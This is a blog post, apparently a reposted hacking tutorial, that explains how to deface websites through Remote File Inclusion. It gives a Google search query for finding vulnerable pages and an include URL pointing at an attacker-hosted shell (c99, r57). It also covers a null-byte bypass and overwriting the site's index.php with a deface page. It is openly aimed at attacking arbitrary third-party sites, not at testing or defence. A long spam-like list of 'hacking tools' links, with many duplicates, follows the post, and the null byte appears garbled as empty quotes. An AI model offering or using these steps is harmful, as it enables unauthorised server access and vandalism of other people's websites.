martedì 30 maggio 2023

HOW TO DEFACE A WEBSITE USING REMOTE FILE INCLUSION (RFI)?

HOW TO DEFACE A WEBSITE USING REMOTE FILE INCLUSION (RFI)?

Remote File Inclusion (RFI) is a technique that allows the attacker to upload a malicious code or file on a website or server. The vulnerability exploits the different sort of validation checks in a website and can lead to code execution on server or code execution on the website. This time, I will be writing a simple tutorial on Remote File Inclusion and by the end of the tutorial, I suppose you will know what it is all about and may be able to deploy an attack.
RFI is a common vulnerability. All the website hacking is not exactly about SQL injection. Using RFI you can literally deface the websites, get access to the server and play almost anything with the server. Why it put a red alert to the websites, just because of that you only need to have your common sense and basic knowledge of PHP to execute malicious code. BASH might come handy as most of the servers today are hosted on Linux.

SO, HOW TO HACK A WEBSITE OR SERVER WITH RFI?

First of all, we need to find out an RFI vulnerable website. Let's see how we can find one.
As we know finding a vulnerability is the first step to hack a website or server. So, let's get started and simply go to Google and search for the following query.
inurl: "index.php?page=home"
At the place of home, you can also try some other pages like products, gallery and etc.
If you already a know RFI vulnerable website, then you don't need to find it through Google.
Once we have found it, let's move on to the next step. Let's see we have a following RFI vulnerable website.
http://target.com/index.php?page=home
As you can see, this website pulls documents stored in text format from the server and renders them as web pages. Now we can use PHP include function to pull them out. Let's see how it works.
http://target.com/index.php?page=http://attacker.com/maliciousScript.txt
I have included my malicious code txt URL at the place of home. You can use any shell for malicious scripts like c99, r57 or any other.
Now, if it's a really vulnerable website, then there would be 3 things that can happen.
  1. You might have noticed that the URL consisted of "page=home" had no extension, but I have included an extension in my URL, hence the site may give an error like 'failure to include maliciousScript.txt', this might happen as the site may be automatically adding the .txt extension to the pages stored in server.
  2. In case, it automatically appends something in the lines of .php then we have to use a null byte '' in order to avoid error.
  3. Successful execution.
As we get the successful execution of the code, we're good to go with the shell. Now we'll browse the shell for index.php. And will replace the file with our deface page.

Related news


  1. Hacking Tools For Beginners
  2. Hacking Tools For Kali Linux
  3. Pentest Tools Find Subdomains
  4. Hacking Tools Hardware
  5. Hacking App
  6. Wifi Hacker Tools For Windows
  7. Ethical Hacker Tools
  8. Hacker Tools List
  9. Pentest Tools List
  10. Hacking Tools For Windows 7
  11. Hacker Tools 2019
  12. Hacking Tools For Beginners
  13. Hacking Tools For Games
  14. Hacker Search Tools
  15. Hacker Tools Linux
  16. Hack Tool Apk
  17. Underground Hacker Sites
  18. New Hacker Tools
  19. Hacker Tools 2020
  20. How To Hack
  21. Hack Tools For Pc
  22. Hack Tools For Pc
  23. Pentest Tools List
  24. Hacker Tools 2019
  25. Pentest Tools Windows
  26. Hacker Techniques Tools And Incident Handling
  27. Pentest Tools Download
  28. Pentest Tools Windows
  29. Pentest Automation Tools
  30. Growth Hacker Tools
  31. Hacking Tools For Windows
  32. Hack Tools Download
  33. Hacking Tools For Windows Free Download
  34. Pentest Tools Bluekeep
  35. Pentest Tools Port Scanner
  36. Pentest Tools List
  37. Hacking Apps
  38. Hack Tools Pc
  39. Top Pentest Tools
  40. Hack Tools For Windows
  41. Hacking Tools For Mac
  42. Hacking Tools For Pc
  43. Tools 4 Hack
  44. Hacker Tools Github
  45. Hacking Tools For Windows Free Download
  46. Pentest Reporting Tools
  47. Hack Rom Tools
  48. Pentest Automation Tools
  49. Hacking Tools Online
  50. Ethical Hacker Tools
  51. Pentest Tools Kali Linux
  52. Top Pentest Tools
  53. Pentest Tools Nmap
  54. Hacker Tools List
  55. Hacker Tool Kit
  56. Computer Hacker
  57. Pentest Tools Free
  58. New Hacker Tools
  59. Hacking Tools Windows
  60. Pentest Tools For Android
  61. Underground Hacker Sites
  62. Hacker Tools 2019
  63. Pentest Tools Free
  64. Hack Tools
  65. World No 1 Hacker Software
  66. Kik Hack Tools
  67. Game Hacking
  68. Pentest Tools Alternative
  69. Hacking Tools For Beginners
  70. Hack Tools
  71. Pentest Tools Review
  72. Pentest Tools Nmap
  73. Hak5 Tools
  74. Pentest Tools List
  75. Hacker Tools Github
  76. Hacker Hardware Tools

Nessun commento:

Posta un commento